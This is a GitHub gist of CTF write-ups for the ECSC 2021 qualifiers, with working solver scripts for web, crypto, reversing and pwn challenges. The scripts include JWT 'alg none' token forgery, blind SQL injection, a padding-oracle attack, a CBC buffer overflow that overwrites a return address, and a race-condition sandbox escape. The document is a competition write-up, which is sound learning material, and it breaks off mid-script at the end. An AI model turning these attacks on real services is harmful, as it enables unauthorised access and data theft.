Skip to content

Instantly share code, notes, and snippets.

@meithecatte
Last active July 20, 2022 10:08
Show Gist options
  • Save meithecatte/25c797928327cd4bd02fb73302ed8d04 to your computer and use it in GitHub Desktop.
Save meithecatte/25c797928327cd4bd02fb73302ed8d04 to your computer and use it in GitHub Desktop.
ECSC 2021 Quals writeups

Sanity Check (recon/zajebiste)

Find the flag by joining the CTF's Discord server.

The description makes it sound easy. However, that is a red herring. After some false starts, I solved it by using mitmproxy's scripting abilities.

mitmproxy setup

First, create a separate Firefox profile by going to about:profiles and clicking on "Create a New Profile". This will make the new profile the default, you'll probably want to click "Set as default profile" on your main profile. Then, fire up the mitmproxy profile by clicking "Launch profile in new browser".

At this point, if we start mitmdump, it will helpfully tell us it is listening on http://*:8080. Thus that is the value we need to enter in Firefox's proxy setup:

Lastly, we need to set up the SSL certificate. To do this, we need to go to http://mitm.it and download it, and then follow the instructions to add it to Firefox's certificate store:

Obtaining the Discord invite.

While the invite link is well-hidden, we can automate the searching to find it without much effort. I used the following script:

from mitmproxy import http
import re

RE = re.compile(r'https?://discord[^"<]*')

def response(flow):
    for link in RE.findall(flow.response.text):
        print('http', link)

We can run it with mitmdump -q -s find_link.py. Then, when we visit https://hack.cert.pl/challenge/ecsc21-sanity-check, the link gets printed out:

http https://discord.gg/D825Xe8k
http https://discord.gg/D825Xe8k

Naively, we would now switch the regex to the flag format and follow this invite:

RE = re.compile(r'ecsc21{[^}]*}')

Unfortunately, this does not work. As it turns out, Discord uses an additional security measure when transferring this flag. Namely, a separate WebSocket connection is created to transfer the flag outside of the HTTP stream we are monitoring. Moreover, the messages transferred in the server -> client direction are compressed with zlib, with a compression context shared between messages. We can decode this with the following code:

def websocket_message(flow):
    global buffer, inflator
    if len(flow.messages) == 1:
        print('Reset!')
        buffer = bytearray()
        inflator = zlib.decompressobj()
    if flow.messages[-1].from_client:
        return
    msg = flow.messages[-1].content
    if type(msg) is str:
        msg = msg.encode()
    buffer.extend(msg)
    if len(msg) < 4 or msg[-4:] != ZLIB_SUFFIX:
        return

    msg = inflator.decompress(buffer)
    buffer = bytearray()
    #print(msg)
    for link in RE.findall(msg.decode()):
        print('websocket', link)

This finds the flag:

Reset!
websocket ecsc21{welcome-to-ecsc-2021!-have-fun-and-good-luck-:)}

Login system (web)

By inspecting the source, we see that the version hash shown is being fetched directly from .git. Thus we can use the git-dumper (available on PyPI) to fetch the source code. This then reveals that the secret key used for session storage is b'\xcc'*16. We can use it to forge an admin's session cookie by running the flask app locally, and modifying it to accept any password.

Restful (web)

The JWT algorithm none is accepted:

import requests
import base64
import json

def decode(x):
    k = (4 - len(x)) % 4
    x += k * '='
    return base64.urlsafe_b64decode(x)

def encode(x):
    return base64.urlsafe_b64encode(x).decode().rstrip('=')

URL = 'https://restful.ecsc21.hack.cert.pl/'
r = requests.post(URL + 'login',
        {'grant_type': 'password',
            'username': 'niedzejkob',
            'password': ':duck001:'},
        headers={
    'accept': 'application/json',
})
token = r.json()['access_token']
header = decode(token.split('.')[0])
data = json.loads(decode(token.split('.')[1]))
data['sub'] = 'admin'
print(header)
print(data)
header = b'{"alg":"none","typ":"JWT"}'

token = '.'.join([encode(header), encode(json.dumps(data).encode()), ''])
print(token)

r = requests.get(URL + 'me',
        headers={
            'accept': 'application/json',
            'authorization': 'bearer ' + token,
            })
print(r.json())

Back to school (web)

As the name unsuccessfully tries to suggest, this is an SQL injection challenge. The vulnerable parameter is the student ID in https://backtoschool.ecsc21.hack.cert.pl/student/. With standard database fingerprinting payloads, we can identify the backend as SQLite. I didn't think think to use UNION to extract values directly, so I performed this injection blind, by only checking the status code of responses.

After manually extracting the schema from the sqlite_master table, I extracted the flag as follows:

import requests
import string
def sql(x):
    r=requests.get('https://backtoschool.ecsc21.hack.cert.pl/student/' + requests.utils.quote(x))
    return r.status_code

def check(x):
    s = '8 and (select count(1) from message where text glob "' + x + '*")>0'
    return sql(s) == 200

alphabet = string.ascii_uppercase + string.ascii_lowercase + string.digits + '-_}'
beginning = 'ecsc21{'

while not beginning.endswith('}'):
    options = alphabet
    assert check(beginning + '[' + options + ']')

    while len(options) > 1:
        mid = len(options)//2
        if check(beginning + '[' + options[:mid] + ']'):
            options = options[:mid]
        else:
            options = options[mid:]
    beginning += options
    print(beginning)

2FA (re)

We can unzip the cap file to get the MainApplet.class file. An online decompiler reveals that the response is calculated with sha1, by concatenating the pin, the APPLET_SECRET constant, and the challenge bytes. Based on the example given on the "Instructions" page, we can bruteforce the PIN and forge a response of our own:

import hashlib
applet_secret = bytes([x%256 for x in [-54, -2, -70, -66, 33, 55, 33, 55]])
challenge = bytes.fromhex('0a9db77a99bdfd3e')
example = bytes.fromhex('d84b58cd5e084cdc')
expected = bytes.fromhex('d154a9535617f4e1')

parts = [b'69', b'42', b'420', b'1337', b'31337']
def pins(length):
    if length == 0:
        return [b'']
    if length < 0:
        return []
    options = []
    for first_part in parts:
        rest = length - len(first_part)
        options += [first_part + x for x in pins(rest)]
    return options
for pin in pins(8):
    response = hashlib.sha1(pin + applet_secret + example).digest()[:8]
    if response == expected:
        break
else:
    raise hell

print(pin)

response = hashlib.sha1(pin + applet_secret + challenge).digest()[:8]
print(response.hex())

Aviation Avocation (re)

Reversing the interpreter is straightforward. There is a bug, where the instruction index is compared with the size of the memory array in bytes, and not in words, and thus the interpreter runs through a bunch of nulls at the end. However, this does not affect the result of the computation.

By writing a simple disassembler in Python, we learn that the only thing the jumps are used for is implementing a lookup table. Specialcasing this structure lets us throw Z3 at the problem:

from pwn import *
from z3 import *

data = open('enc.add', 'rb').read()

def get(ip):
    ip *= 4
    instr = u32(data[ip:ip+4])
    opcode = instr >> 30
    a = (instr >> 20) & 0x3ff
    b = (instr >> 10) & 0x3ff
    c = instr & 0x3ff
    return opcode, a, b, c

def parse_lut(ip, v):
    targets = []
    for _ in range(256):
        opcode, a, b, c = get(ip)
        assert opcode == 2 and a == v
        targets.append((b<<10) + c)
        ip += 1

        opcode, a, b, c = get(ip)
        assert opcode == 0 and a == v and b == v and c == 0xff
        ip += 1
    values = []
    endpoint = None
    for ip in targets:
        opcode, a, b, c = get(ip)
        assert opcode == 1 and a == v and b == 0 and c < 0x100
        values.append(c)
        ip += 1

        opcode, a, b, c = get(ip)
        assert opcode == 2 and a == 0
        target = (b<<10) + c
        if endpoint != None:
            assert target == endpoint
        else:
            endpoint = target
    return values, endpoint

def disasm():
    ip = 0x11e
    inverses = []
    while ip < len(data)//4:
        next_ip = ip + 1
        opcode, a, b, c = get(ip)
        if opcode == 0:
            s = '[%03x] = [%03x] + [%03x]' % (a,b,c)
        elif opcode == 1:
            s = '[%03x] = [%03x] ^ [%03x]' % (a,b,c)
        elif opcode == 2:
            values, next_ip = parse_lut(ip, a)
            s = 'LUT %03x: %s' % (a, bytes(values).hex())
        elif opcode == 3:
            s = 'if [%03x] == 0 then [%03x] = in else out [%03x]' % (b, a, a)
        else:
            raise hell

        print('%05x: %s' % (ip, s))
        ip = next_ip

def run(inp):
    m = [0] * 512
    m[1] = 1
    ip = 0
    output = b''
    while ip < len(data)//4:
        opcode, a, b, c = get(ip)
        if opcode == 0:
            m[a] = (m[b] + m[c]) % 256
        elif opcode == 1:
            m[a] = m[b] ^ m[c]
        elif opcode == 2:
            if m[a] == 0:
                ip = (b<<10)+c - 1
        else:
            if m[b] == 0:
                m[a] = inp[0]
                inp = inp[1:]
            else:
                output += bytes([m[a]])
        ip += 1
    return output

def symbolic(inp):
    m = [BitVecVal(0,8)] * 512
    m[1] = BitVecVal(1,8)
    ip = 0
    output = []
    while ip < len(data)//4:
        next_ip = ip+1
        opcode, a, b, c = get(ip)
        if opcode == 0:
            m[a] = m[b] + m[c]
        elif opcode == 1:
            m[a] = m[b] ^ m[c]
        elif opcode == 2:
            values, next_ip = parse_lut(ip, a)
            acc = BitVecVal(0,8)
            for v in range(256):
                acc = If(m[a] == v, values[v], acc)
            m[a] = acc
        else:
            if m[b] == 0:
                m[a] = inp[0]
                inp = inp[1:]
            else:
                output += [m[a]]
        ip = next_ip
    return output

#run()
#disasm()

part2 = xor(run(b'abcdefghijklmnop' + bytes(16)), unhex('f03d4264a07c25a58cd268843417432c'))
print(part2)

part1 = [BitVec('x%d'%i, 8) for i in range(16)]
output = symbolic(part1 + list(part2))
expected = unhex('250a4aa7a937f6a9c33d59d686cc271a')
s = Solver()
for o,e in zip(output, expected):
    s.add(o == e)
print(s.check())
m = s.model()
part1 = ''.join(chr(m[x].as_long()) for x in part1)
print(part1 + part2.decode())

Novice (re)

There is a red herring main, which pretends to XOR two arrays together and compare the result. However, one of the functions in init_array repoints one of the call targets, which changes the behavior. After reversing some of the checking function, I determined that the correct flag bytes are computed one by one by the function at 400b5a. I thus placed a breakpoint after its call, and scripted gdb to print the return value:

(gdb) b *0x400d19
Breakpoint 4 at 0x400d19
(gdb) commands
Type commands for breakpoint(s) 4, one per line.
End with a line saying just "end".
>silent
>p/x $eax
>continue
>end

Trash (re)

Some search and replace goes a long way:

package main

import (
    "bufio"
    "bytes"
    "encoding/binary"
    "fmt"
    "io"
    "os"
)

// ----------------------------------------

type state struct {
    sz uint
    mem []uint8
    instrs        [][]uint64
    ip uint
    running          bool
}

func make_state(size uint) *state {
    st := new(state)
    st.sz = size
    st.mem = make([]uint8, size)
    return st
}

func (st *state) run() error {
    st.ip = 0
    st.running = true
    clock := 0
    for st.running {
        err := st.do_instr()
        clock += 1
        if clock > 10000 {
            return fmt.Errorf("%#v", clock)
        }
        if err != nil {
            return err
        }
    }
    return nil
}

func RD(x []byte) uint64 {
    return binary.LittleEndian.Uint64(x)
}

func WR(x []byte, val uint64) {
    binary.LittleEndian.PutUint64(x, val)
}

func (st *state) do_instr() error {
    if st.ip >= uint(len(st.instrs)) {
        return fmt.Errorf("ip 0x%x >= len(instrs) 0x%x", st.ip, len(st.instrs))
    }
    if st.ip == 0x11 {
        fmt.Printf("@11: [8a] = 0x%x\n", st.mem[0x8a])
    }
    if st.ip == 0x19 {
        fmt.Printf("@19: [0] = 0x%x\n", RD(st.mem[0x0:]))
    }
    instr := st.instrs[st.ip]
    switch instr[0] {
    case 1: // mov qword[a], b
        var address uint = uint(instr[1])
        var value uint64 = instr[2]
        if address >= st.sz {
            return fmt.Errorf("address 0x%x >= sz 0x%x", address, st.sz)
        }
        WR(st.mem[address:], value)
        st.ip += 1
    case 2: // mov qword[a], [b]
        var dst uint = uint(instr[1])
        var src uint = uint(instr[2])
        if dst >= st.sz {
            return fmt.Errorf("dst 0x%x >= sz 0x%x", dst, st.sz)
        }
        if src >= st.sz {
            return fmt.Errorf("src 0x%x >= sz 0x%x", src, st.sz)
        }
        WR(st.mem[dst:], RD(st.mem[src:]))
        st.ip += 1
    case 14: // mov byte[a], [b]
        var ekkknn uint = uint(instr[1])
        var ldjjnhn uint = uint(instr[2])
        if ekkknn >= st.sz {
            return fmt.Errorf("dst 0x%x >= sz 0x%x", ekkknn, st.sz)
        }
        if ldjjnhn >= st.sz {
            return fmt.Errorf("src 0x%x >= sz 0x%x", ldjjnhn, st.sz)
        }
        st.mem[ekkknn] = st.mem[ldjjnhn]
        st.ip += 1
    case 3: // add [a], b
        var ekjknnn uint = uint(instr[1])
        var pkksnn uint64 = instr[2]
        if ekjknnn >= st.sz {
            return fmt.Errorf("address 0x%x >= sz 0x%x", ekjknnn, st.sz)
        }
        WR(st.mem[ekjknnn:], pkksnn+ RD(st.mem[ekjknnn:]))
        st.ip += 1
    case 4: // sub [a], b
        var oopjsn uint = uint(instr[1])
        var ljbbbb uint64 = instr[2]
        if oopjsn >= st.sz {
            return fmt.Errorf("address 0x%x >= sz 0x%x", oopjsn, st.sz)
        }
        WR(st.mem[oopjsn:], RD(st.mem[oopjsn:]) -ljbbbb)
        st.ip += 1
    case 5: // sub [a], [b]
        var pkjdjn uint = uint(instr[1])
        var sessd uint = uint(instr[2])
        if pkjdjn >= st.sz {
            return fmt.Errorf("dst 0x%x >= sz 0x%x", pkjdjn, st.sz)
        }
        if sessd >= st.sz {
            return fmt.Errorf("src 0x%x >= sz 0x%x", sessd, st.sz)
        }
        WR(st.mem[pkjdjn:], RD(st.mem[pkjdjn:]) - RD(st.mem[sessd:]))
        st.ip += 1
    case 6: // mul [a], b
        var dkmmdnn uint = uint(instr[1])
        var ekksuu uint64 = instr[2]
        if dkmmdnn >= st.sz {
            return fmt.Errorf("address 0x%x >= sz 0x%x", dkmmdnn, st.sz)
        }
        WR(st.mem[dkmmdnn:], RD(st.mem[dkmmdnn:]) *ekksuu)
        st.ip += 1
    case 7: // mul [a], [b]
        var dst uint = uint(instr[1])
        var src uint = uint(instr[2])
        if dst >= st.sz {
            return fmt.Errorf("dst 0x%x >= sz 0x%x", dst, st.sz)
        }
        if src >= st.sz {
            return fmt.Errorf("src 0x%x >= sz 0x%x", src, st.sz)
        }
        WR(st.mem[dst:], RD(st.mem[dst:]) * RD(st.mem[src:]))
        st.ip += 1
    case 8: // shl [a], b
        var address uint = uint(instr[1])
        var nbits uint = uint(instr[2])
        if address >= st.sz {
            return fmt.Errorf("address 0x%x >= sz 0x%x", address, st.sz)
        }
        WR(st.mem[address:], RD(st.mem[address:]) << nbits)
        st.ip += 1
    case 9: // shr [a], b
        var address uint = uint(instr[1])
        var nbits uint = uint(instr[2])
        if address >= st.sz {
            return fmt.Errorf("address 0x%x >= sz 0x%x", address, st.sz)
        }
        WR(st.mem[address:], RD(st.mem[address:]) >>nbits)
        st.ip += 1
    case 10: // xorb [a], [b]
        var dst uint = uint(instr[1])
        var src uint = uint(instr[2])
        if dst >= st.sz {
            return fmt.Errorf("dst 0x%x >= sz 0x%x", dst, st.sz)
        }
        if src >= st.sz {
            return fmt.Errorf("src 0x%x >= sz 0x%x", src, st.sz)
        }
        st.mem[dst] ^= st.mem[src]
        st.ip += 1
    case 11: // xorb [[a]], [[b]]
        var dst_addr_ptr uint = uint(instr[1])
        var src_addr_ptr uint = uint(instr[2])
        if dst_addr_ptr >= st.sz {
            return fmt.Errorf("dst_addr_ptr 0x%x >= sz 0x%x", dst_addr_ptr, st.sz)
        }
        if src_addr_ptr >= st.sz {
            return fmt.Errorf("src_addr_ptr 0x%x >= sz 0x%x", src_addr_ptr, st.sz)
        }
        var dst uint = uint(RD(st.mem[dst_addr_ptr:]))
        var src uint = uint(RD(st.mem[src_addr_ptr:]))
        if dst >= st.sz {
            return fmt.Errorf("dst 0x%x >= sz 0x%x", dst, st.sz)
        }
        if src >= st.sz {
            return fmt.Errorf("src 0x%x >= sz 0x%x", src, st.sz)
        }
        st.mem[dst] ^= st.mem[src]
        st.ip += 1
    case 12: // jz [a], b
        var cc uint = uint(instr[1])
        var target uint = uint(instr[2])
        if cc >= st.sz {
            return fmt.Errorf("address 0x%x >= sz 0x%x", cc, st.sz)
        }
        if st.mem[cc] == 0 {
            if target >= uint(len(st.instrs)) {
                return fmt.Errorf("target 0x%x >= len(instrs) 0x%x", target, len(st.instrs))
            }
            st.ip = target
        } else {
            st.ip += 1
        }
    case 13: // hlt
        st.running = false
    case 16: // addb [a], b
        var dkksnss uint = uint(instr[1])
        var eiushhgj uint8 = uint8(instr[2])
        if dkksnss >= st.sz {
            return fmt.Errorf("address 0x%x >= sz 0x%x", dkksnss, st.sz)
        }
        st.mem[dkksnss] += eiushhgj
        st.ip += 1
    case 15: // subb [a], [b]
        var eoskwllw uint = uint(instr[1])
        var elsmmswkkeeeeek uint = uint(instr[2])
        if eoskwllw >= st.sz {
            return fmt.Errorf("dst 0x%x >= sz 0x%x", eoskwllw, st.sz)
        }
        if elsmmswkkeeeeek >= st.sz {
            return fmt.Errorf("src 0x%x >= sz 0x%x", elsmmswkkeeeeek, st.sz)
        }
        st.mem[eoskwllw] -= st.mem[elsmmswkkeeeeek]
        st.ip += 1
    default:
        return fmt.Errorf(" 0x%x", instr[0])
    }
    return nil
}

// ----------------------------------------


func main() {
    reader := bufio.NewReader(os.Stdin)
    buf := make([]byte, 30)
    _, err := io.ReadFull(reader, buf)
    buf = append(buf, '\x00')
    buf = append(buf, '\x00')
    if err == nil {
        check(buf)
    }
}

func check(input []byte) {
    st := make_state(0x100)
    check_error := func (err error) {
        if err != nil {
            panic(err)
        }
    }

    st.instrs = [][]uint64 {
        []uint64{0x1, 0x80, 0x4141414141414141},
        []uint64{0x1, 0x88, 0x4141414141414141},
        []uint64{0x1, 0x90, 0x4141414141414141},
        []uint64{0x1, 0x98, 0x414141414141},
        []uint64{0x1, 0x0, 0x1e},
        []uint64{0x1, 0x8, 0x80},
        []uint64{0x1, 0x18, 0x10},
        []uint64{0xb, 0x18, 0x18},
        []uint64{0xb, 0x18, 0x8},
        []uint64{0xf, 0x10, 0x8},
        []uint64{0x10, 0x10, 0x80},
        []uint64{0xb, 0x8, 0x8},
        []uint64{0xb, 0x8, 0x18},
        []uint64{0x3, 0x8, 0x1},
        []uint64{0x4, 0x0, 0x1},
        []uint64{0xc, 0x0, 0x11},
        []uint64{0xc, 0x28, 0x7},
        []uint64{0x1, 0x0, 0xecc52021},
        []uint64{0xe, 0x30, 0x8a},
        []uint64{0x5, 0x0, 0x30},
        []uint64{0x1, 0x8, 0x1d},
        []uint64{0x6, 0x0, 0x19660d},
        []uint64{0x3, 0x0, 0x3c6ef35f},
        []uint64{0x8, 0x0, 0x20},
        []uint64{0x9, 0x0, 0x20},
        []uint64{0x2, 0x10, 0x0},
        []uint64{0x2, 0x18, 0x8},
        []uint64{0x3, 0x18, 0x1},
        []uint64{0x7, 0x10, 0x18},
        []uint64{0x9, 0x10, 0x20},
        []uint64{0x2, 0x20, 0x8},
        []uint64{0x5, 0x20, 0x10},
        []uint64{0xc, 0x20, 0x27},
        []uint64{0x3, 0x8, 0x80},
        []uint64{0x3, 0x10, 0x80},
        []uint64{0xb, 0x8, 0x10},
        []uint64{0xb, 0x10, 0x8},
        []uint64{0xb, 0x8, 0x10},
        []uint64{0x4, 0x8, 0x80},
        []uint64{0x4, 0x8, 0x1},
        []uint64{0xc, 0x8, 0x2a},
        []uint64{0xc, 0x28, 0x15},
        []uint64{0x1, 0x0, 0x1e},
        []uint64{0x1, 0x8, 0x80},
        []uint64{0x1, 0x10, 0x18},
        []uint64{0x1, 0x18, 0x7a7978},
        []uint64{0xb, 0x8, 0x10},
        []uint64{0x3, 0x8, 0x1},
        []uint64{0x4, 0x0, 0x1},
        []uint64{0x4, 0x10, 0x1a},
        []uint64{0xc, 0x10, 0x35},
        []uint64{0x3, 0x10, 0x1b},
        []uint64{0xc, 0x28, 0x36},
        []uint64{0x1, 0x10, 0x18},
        []uint64{0xc, 0x0, 0x38},
        []uint64{0xc, 0x28, 0x2e},
        []uint64{0x1, 0x0, 0x7},
        []uint64{0x1, 0x8, 0x80},
        []uint64{0x1, 0x10, 0x82},
        []uint64{0xb, 0x8, 0x10},
        []uint64{0xb, 0x10, 0x8},
        []uint64{0xb, 0x8, 0x10},
        []uint64{0x3, 0x8, 0x1},
        []uint64{0x3, 0x10, 0x1},
        []uint64{0xb, 0x8, 0x10},
        []uint64{0xb, 0x10, 0x8},
        []uint64{0xb, 0x8, 0x10},
        []uint64{0x3, 0x8, 0x3},
        []uint64{0x3, 0x10, 0x3},
        []uint64{0x4, 0x0, 0x1},
        []uint64{0xc, 0x0, 0x48},
        []uint64{0xc, 0x28, 0x3b},
        []uint64{0xd, 0x0, 0x0}}
    st.instrs[0][2] = RD(input[0:])
    st.instrs[1][2] = RD(input[8:])
    st.instrs[2][2] = RD(input[0x10:])
    st.instrs[3][2] = RD(input[0x18:])

    check_error(st.run())
    result := st.mem[0x80:]
    trimmed := string(bytes.Trim(result, "\x00"))

    if trimmed != "\\\x1d\x1a'8\x19P<[a\x0bTl\r))#7UOWD7faY\x18A\x10 " {
        fmt.Printf("%#v\n", trimmed)
        os.Exit(1)
    } else {
        fmt.Printf("%#v\n", string(bytes.Trim(input, "\x00")))
    }
}

Like in the other custom interpreter challenge (variety amirite), a short custom script is enough to disassemble this:

instrs = [None,
        'mov [%x], %x',
        'mov [%x], [%x]',
        'add [%x], %x',
        'sub [%x], %x',
        'sub [%x], [%x]',
        'mul [%x], %x',
        'mul [%x], [%x]',
        'shl [%x], %x',
        'shr [%x], %x',
        'xorb [%x], [%x]',
        'xorb [[%x]], [[%x]]',
        'jz [%x], %x',
        'hlt // %x %x',
        'movb [%x], [%x]',
        'subb [%x], [%x]',
        'addb [%x], %x']

for i, (op, a, b) in enumerate(prog):
    print('%02x: %s' % (i, instrs[op] % (a, b)))

The following script then reverses the steps performed and prints the flag:

from pwn import *

output = b"\\\x1d\x1a'8\x19P<[a\x0bTl\r))#7UOWD7faY\x18A\x10 "
buf = bytearray(output)

def swap(a, b):
    buf[a], buf[b] = buf[b], buf[a]

for i in range(7):
    swap(4*i,4*i+2)
    swap(4*i+1,4*i+3)

buf = xor(buf, b'\x78\x79\x7a'*10)

data = bytes(buf)
for k in range(256):
    nums = list(range(30))
    seed = 0xecc52021 - k
    for i in range(0x1d, 0, -1):
        seed = (seed * 0x19660d + 0x3c6ef35f) % 2**32
        j = (seed * (i + 1)) >> 32
        nums[i], nums[j] = nums[j], nums[i]
    prev = bytearray(30)
    for i, k in enumerate(nums):
        prev[k] = data[i]
    buf = prev
    for i in range(len(buf)): buf[i] = (buf[i] + i) % 256
    buf = bytes(buf)
    if buf.startswith(b'ecsc21{'):
        print(buf)

WASM (re)

For this challenge, I used a demo of the JEB disassembler and Chrome's debugger. This tooling is not great โ€” JEB can't read the debug symbols embedded in the binary and fails to decompile some functions for no good reason, while the UX of looking up a value in memory using Chrome's debugger is so hideous, I wouldn't be surprised to learn that it is a shitpost that got merged by accident.

In the end, we learn that the flag should consist of eight segments, separated by -, where each segment is a 16-bit hexadecimal number. These are then concatenated, encrypted with a hardcoded AES key, and compared with an expected result. Decrypting the block thus yields:

ecsc21{3086-8b8f-53cb-c820-635d-deb6-66cc-6fee}

However, many other strings are accepted by the checker, but not the scoreboard, such as

ecsc21{03086-08b8f-053cb-0c820-0635d-0deb6-066cc-06fee}

or

ecsc21{3086-8b8f-53cb-c820-635d-deb6-66cc-6fee-and-they-lived-happily-ever-after}

one wire (hardware)

Despite the name, the protocol is not the 1-wire standard โ€” while the standard 1-wire encodes the bits in the length of a pulse, here the bits are simply shifted out directly, with a start and stop bit for each byte. I decode this by measuring the state in fixed intervals, and adjusting the cursor when it drifts off too much:

from vcdvcd import VCDVCD
v = VCDVCD('one_wire.vcd')
for signal in v.data.values():
    name, = signal.references
    if 'serial' in name:
        break

def at(T):
    X = None
    tt = None
    for t,x in signal.tv:
        if t < T:
            X = x
            tt = t
        else:
            return X, tt

bits = [1]
STEP = 8700000
t = 10 ** 5 + STEP
while t < signal.endtime:
    Z = at(t)
    if Z is not None:
        x, tt = Z
        delta = t - tt
        delta %= STEP
        print(delta)
        if delta < STEP/4:
            t += STEP//2
        bits.append(x)
    t += STEP

flag = ''
for i in range(0, len(bits), 10):
    xx = bits[i+2:i+10]
    if xx:
        flag += chr(int(''.join(xx[::-1]),2))
print(flag)

SpongeBOB (crypto)

We perform a meet-in-the-middle to collide the 6 bytes of state we cannot control by simply choosing the values that get XOR'd into the state:

from spongebob import *
import struct

bob = SpongeBob()
message = b'The hash-slinging slasher'
N = len(message)
message = bob.pad(message)

blk1 = message[:10]
blk2 = message[10:20]
blk3 = message[20:]

bob.absorb(blk1)
st1 = bob.state
bob.absorb(blk2)
st2 = bob.state
bob.absorb(blk3)
st3 = bob.state

assert bob.aes.encrypt(blk1 + b'\x00' * 6) == st1
print(st1.hex())
print(bob.aes.decrypt(st2).hex())
seen = {}

if False:
    for n in range(2**24):
        attempt = strxor(st2, struct.pack('>I', n) + b'\x00' * 12)
        k = bob.aes.decrypt(attempt)[-6:]
        seen[k] = n

    print(len(seen))

    for n in range(2**24):
        attempt = struct.pack('>I', n) + b'\x00' * 12
        #attempt = blk1 + b'\x00' * 6
        k = bob.aes.encrypt(attempt)[-6:]
        if k in seen:
            print(seen[k], n)

A, B = 3626912, 1077206
blk1 = struct.pack('>I', B) + b'\x00' * 6
delta3 = struct.pack('>I', A) + b'\x00' * 6

have_state = bob.aes.encrypt(blk1 + b'\x00' * 6)
want_state = bob.aes.decrypt(strxor(st2, delta3 + b'\x00' * 6))
blk2 = strxor(have_state, want_state)[:10]
blk3 = strxor(blk3, delta3)
S = (blk1 + blk2 + blk3)[:N]
bob = SpongeBob()
bob.absorb(blk1)
print(bob.state == have_state)
bob.absorb(blk2)
print(bob.state.hex())
print(st2.hex())
bob.absorb(blk3)
print(bob.state.hex())
print(st3.hex())
print(S.hex())
print(SpongeBob().hash(S).hex())

Broadcast with a twist (crypto)

By expressing the padding with algebra, we get a polynomial with the root barely small enough to compute with Coppersmith's. I use this implementation, since the one built into sage is a pain to debug and/or doesn't work.

(e,n1,c1),(e,n2,c2) = inputs
c = CRT(c1,c2,n1,n2)
N = n1*n2

num69 = 124 - 64
pad = bytes_to_long(b'\x69' * num69)
scale = 2**(8*num69)

K = Zmod(N)
P.<x> = K[]

f = (scale * x + pad)**3 - c
f = f.monic()
#rr = f.small_roots(X=2**(8*64))
dd = f.degree()
beta = 1                                # b = N
epsilon = beta / 7                      # <= beta / 7
mm = ceil(beta**2 / (dd * epsilon))     # optimized value
tt = floor(dd * mm * ((1/beta) - 1))    # optimized value
#XX = ceil(N**((beta**2/dd) - epsilon))  # optimized value
XX = 2**(8*64-1)
rr = coppersmith_howgrave_univariate(f, N, beta, mm, tt, XX)
print(rr)

OpenSesame (crypto)

A standard padding oracle:

from pwn import *

#s = process(['python3', 'sesame.py'])
s = remote('ecsc21.hack.cert.pl', 25737)
s.recvline()
s.recvline()

known = b''

def do_tests(tests):
    results = []
    for t in tests:
        s.sendline(b64e(t + bytes(16)))
    for _ in tests:
        line = s.recvline()
        #print(line)
        assert line.startswith(b'>')
        results.append(b':(' not in line)
    return results

while len(known) < 16:
    tests = []
    for guess in range(256):
        attempt = bytes([guess]) + known
        pad = bytes([len(attempt)] * len(attempt))
        tests.append(bytes(16 - len(pad)) + xor(attempt, pad))
    results = do_tests(tests)
    print(results.count(True), 'hits')
    assert results.count(True) == 1
    byte = results.index(True)
    known = bytes([byte]) + known
    print(known.hex())

msg = b'gib flag plox'
pad = 16 - len(msg)
pad = bytes([pad]*pad)
s.sendline(b64e(xor(msg + pad, known) + bytes(16)))
s.interactive()

FunkyOracle (crypto)

Since the call to AES uses msg->length, and not copy_size, the buffer can be overflown. When we ask to decrypt 5 blocks, the first plaintext block will become the fifth block of ciphertext. Constructing the right payload is not difficult with the {encrypt,decrypt}_block primitives, which cancel out the CBC applied by the server.

from pwn import *
def do(b, data):
    global raw
    s = remote('ecsc21.hack.cert.pl', 25738)
    s.send(bytes([b, len(data)]) + data)
    raw = s.recvall()
    return raw[2:]

def encrypt(data):
    return do(1, data)
def decrypt(data):
    return do(2, data)

def decrypt_block(blk):
    return decrypt(bytes(16) + blk)[16:]

zeros_encrypt = encrypt(bytes(16))

def encrypt_block(blk):
    return encrypt(bytes(16) + xor(zeros_encrypt, blk))[16:]

zeros_decrypt = decrypt(bytes(16))
second = decrypt_block(zeros_decrypt)

target = p64(0) + p64(0x00005555555553f6)
data = bytes(48) + xor(second, target) + zeros_decrypt
response = decrypt(data)
print(hexdump(response))

clumsy sandbox (pwn/misc)

Due to a race condition, we can present a different filename to the kernel and sandbox. As a static C binary gets killed when the startup code tries to brk, I wrote my exploit in assembly:

    bits 64
section .data
    path db "flag.txt",0

    welp db "welp"

    buf: times 256 db 0

section .text
    global _start

SYS_clone equ 56
SYS_exit equ 60
SYS_read equ 0
SYS_write equ 1
SYS_open equ 2
CLONE_VM equ 0x100
O_RDONLY equ 0

_start:
    mov rax, SYS_clone
    mov rdi, CLONE_VM
    mov rsi, 0
    mov rdx, 0
    mov r10, 0
    mov r8, 0
    syscall

    test rax, rax
    jnz .child

    mov rax, SYS_open
    mov rdi, path
    mov rsi, O_RDONLY
    xor rdx, rdx
    syscall

    test rax, rax
    js .failed

    mov rdi, rax
    mov rax, SYS_read
    mov rsi, buf
    mov rdx, 256
    syscall

    mov rdx, rax
    mov rax, SYS_write
    mov rdi, 1
    mov rsi, buf
    syscall

.exit:
    mov rdi, rax
    mov rax, SYS_exit
    syscall

.failed:
    mov rax, SYS_write
    mov rdi, 1
    mov rsi, welp
    mov rdx, 4
    syscall
    jmp .exit

.child:
    xor byte[path], 1
    xor byte[path], 1
    xor byte[path], 1
    xor byte[path], 1
    xor byte[path], 1
    xor byte[path], 1
    xor byte[path], 1
    xor byte[path], 1
    xor byte[path], 1
    xor byte[path], 1
    xor byte[path], 1
    jmp .child

Heroes 3 Challenge (pwn)

Because of the screen mode used by the game, attempting to debug it with a traditional breakpoint-based debugger will not work โ€” it seems that alt-tabbing requires some action by the game process to restore the screen settings. As such, I used Cheat Engine instead. Scanning the memory for the health of the units didn't work, so I found the relevant code by following the messages printed on the bottom of the screen during battle.

Before starting the battle, I searched for the string perish to find the format strings used for the messages. Then, I used "find out what accesses this memory". This puts us deep in the bowels of sprintf. By using "breakpoint and trace instructions" with a condition comparing the format string pointer, I captured a stack frame at that point. A few frames down we find the routine that handles an attack. In particular, it calls h3demo.exe+0x417b0 to calculate the damage. I patched that function to always return 0x10000, which allows to defeat the guards in one hit.

easy peasy (pwn)

We need to build a ROP chain out of gadgets in 64K of randomness. Based on the size, we should expect to find most two-byte pairs in the blob. One of those is taken by the ret, so we can only use one-byte instructions. I write copy shellcode from the stack to the RWX memory allocated for the random data. I use stosd to perform the writes. The address can be loaded directly with pop rdi, but the data cannot, as there is no pop rax gadget. We do have pop rbx and xchg eax, ebx, though. I write the first dword immediately after the stosd instruction, and that code then copies the rest:

from pwn import *

context.arch = 'amd64'
